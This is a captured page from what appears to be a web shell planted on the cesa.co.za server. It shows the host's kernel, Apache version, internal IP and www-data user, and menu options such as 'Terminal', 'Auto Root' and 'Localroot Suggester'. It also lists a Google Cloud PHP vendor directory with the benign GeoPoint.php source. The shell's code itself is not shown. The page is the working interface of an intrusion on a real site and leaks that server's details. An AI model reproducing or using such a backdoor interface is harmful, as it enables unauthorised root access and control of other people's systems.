Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
vendor /
google /
cloud-core /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Batch
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Compute
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Exception
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Iam
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Iterator
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Lock
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Logger
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
LongRunning
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Report
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Testing
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Upload
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
AnonymousCredentials.php
2.4
KB
-rw-r--r--
2026-03-17 23:07
ApiHelperTrait.php
8.01
KB
-rw-r--r--
2026-03-17 23:07
ArrayTrait.php
3.45
KB
-rw-r--r--
2026-03-17 23:07
Blob.php
2.02
KB
-rw-r--r--
2026-03-17 23:07
ClientTrait.php
8.36
KB
-rw-r--r--
2026-03-17 23:07
ConcurrencyControlTrait.php
1.35
KB
-rw-r--r--
2026-03-17 23:07
DebugInfoTrait.php
1.28
KB
-rw-r--r--
2026-03-17 23:07
DetectProjectIdTrait.php
2.98
KB
-rw-r--r--
2026-03-17 23:07
Duration.php
2.1
KB
-rw-r--r--
2026-03-17 23:07
EmulatorTrait.php
2.74
KB
-rw-r--r--
2026-03-17 23:07
ExponentialBackoff.php
4.71
KB
-rw-r--r--
2026-03-17 23:07
GeoPoint.php
5.99
KB
-rw-r--r--
2026-03-17 23:07
GrpcRequestWrapper.php
4.59
KB
-rw-r--r--
2026-03-17 23:07
GrpcTrait.php
8.92
KB
-rw-r--r--
2026-03-17 23:07
InsecureCredentialsWrapper.php
982
B
-rw-r--r--
2026-03-17 23:07
Int64.php
1.7
KB
-rw-r--r--
2026-03-17 23:07
JsonTrait.php
2.15
KB
-rw-r--r--
2026-03-17 23:07
OptionsValidator.php
4
KB
-rw-r--r--
2026-03-17 23:07
PhpArray.php
7.2
KB
-rw-r--r--
2026-03-17 23:07
RequestBuilder.php
5.18
KB
-rw-r--r--
2026-03-17 23:07
RequestHandler.php
4.18
KB
-rw-r--r--
2026-03-17 23:07
RequestProcessorTrait.php
4.47
KB
-rw-r--r--
2026-03-17 23:07
RequestWrapper.php
20.98
KB
-rw-r--r--
2026-03-17 23:07
RequestWrapperTrait.php
6.94
KB
-rw-r--r--
2026-03-17 23:07
RestTrait.php
4.78
KB
-rw-r--r--
2026-03-17 23:07
Retry.php
3.33
KB
-rw-r--r--
2026-03-17 23:07
RetryDeciderTrait.php
2.79
KB
-rw-r--r--
2026-03-17 23:07
ServiceBuilder.php
14.2
KB
-rw-r--r--
2026-03-17 23:07
SysvTrait.php
1.81
KB
-rw-r--r--
2026-03-17 23:07
TimeTrait.php
4.46
KB
-rw-r--r--
2026-03-17 23:07
Timestamp.php
4.02
KB
-rw-r--r--
2026-03-17 23:07
TimestampTrait.php
1.53
KB
-rw-r--r--
2026-03-17 23:07
UriTrait.php
1.78
KB
-rw-r--r--
2026-03-17 23:07
ValidateTrait.php
2.27
KB
-rw-r--r--
2026-03-17 23:07
ValueMapperTrait.php
1.74
KB
-rw-r--r--
2026-03-17 23:07
WhitelistTrait.php
1.13
KB
-rw-r--r--
2026-03-17 23:07
Save
Rename
<?php /** * Copyright 2016 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace Google\Cloud\Core; use InvalidArgumentException; /** * Represents a geographical point. * * Unless specified otherwise, this must conform to the * [WGS84](http://www.unoosa.org/pdf/icg/2012/template/WGS_84.pdf) standard. * Values must be within normalized ranges. * * Example: * ``` * use Google\Cloud\Core\GeoPoint; * * $point = new GeoPoint(37.423147, -122.085015); * ``` */ class GeoPoint implements \JsonSerializable { /** * @var float */ private $latitude; /** * @var float */ private $longitude; /** * Create a GeoPoint. * * Ints will be converted to floats. Values not passing the `is_numeric()` * check will result in an exception. * * @param float|int|null $latitude The GeoPoint Latitude. **Note** that * `null` is not a generally valid value, and will throw an * `InvalidArgumentException` unless `$allowNull` is set to `true`. * @param float|int|null $longitude The GeoPoint Longitude. **Note** that * `null` is not a generally valid value, and will throw an * `InvalidArgumentException` unless `$allowNull` is set to `true`. * @param bool $allowNull [optional] If true, null values will be allowed * in the constructor only. This switch exists to handle a rare case * wherein a geopoint may be empty and is not intended for use from * outside the client. **Defaults to** `false`. * @throws \InvalidArgumentException */ public function __construct($latitude, $longitude, $allowNull = false) { $this->latitude = $this->validateValue($latitude, 'latitude', $allowNull); $this->longitude = $this->validateValue($longitude, 'longitude', $allowNull); } /** * Get the latitude * * Example: * ``` * $latitude = $point->latitude(); * ``` * * @return float|null */ public function latitude() { $this->checkContext('latitude', func_get_args()); return $this->latitude; } /** * Set the latitude * * Non-numeric values will result in an exception * * Example: * ``` * $point->setLatitude(42.279594); * ``` * * @param int|float $latitude The new latitude * @return GeoPoint * @throws \InvalidArgumentException */ public function setLatitude($latitude) { $this->latitude = $this->validateValue($latitude, 'latitude'); return $this; } /** * Get the longitude * * Example: * ``` * $longitude = $point->longitude(); * ``` * * @return float|null */ public function longitude() { $this->checkContext('longitude', func_get_args()); return $this->longitude; } /** * Set the longitude * * Non-numeric values will result in an exception. * * Example: * ``` * $point->setLongitude(-83.732124); * ``` * * @param float|int $longitude The new longitude value * @return GeoPoint * @throws \InvalidArgumentException */ public function setLongitude($longitude) { $this->longitude = $this->validateValue($longitude, 'longitude'); return $this; } /** * Return a GeoPoint * * Example: * ``` * $point = $point->point(); * ``` * * @return array [LatLng](https://cloud.google.com/datastore/reference/rest/Shared.Types/LatLng) */ public function point() { return [ 'latitude' => $this->latitude, 'longitude' => $this->longitude ]; } /** * Let people know if they accidentally use the getter in setter context. * * @param string $method the method name * @param array $args The method arguments * @throws \InvalidArgumentException * @return void */ private function checkContext($method, array $args) { if (count($args) > 0) { throw new InvalidArgumentException(sprintf( 'Calling method %s with arguments is unsupported.', $method )); } } /** * Check a given value's validity as a coordinate. * * Numeric values will be cast to type `float`. All other values will raise * an exception with the exception of `null`, if `$allowNull` is set to true. * * @param mixed $value The coordinate value. * @param string $type The coordinate type for error reporting. * @param bool $allowNull [optional] Whether null values should be allowed. * **Defaults to** `false`. * @return float|null */ private function validateValue($value, $type, $allowNull = false) { if (!is_numeric($value) && (!$allowNull || ($allowNull && $value !== null))) { throw new InvalidArgumentException(sprintf( 'Given %s must be a numeric value.', $type )); } return $allowNull && $value === null ? $value : (float) $value; } /** * Implement JsonSerializable by representing GeoPoint as a JSON-object: * * ``` * { * latitude: 31.778333 * longitude: 35.229722 * } * ``` * * @return object * @access private */ #[\ReturnTypeWillChange] public function jsonSerialize() { return (object) $this->point(); } }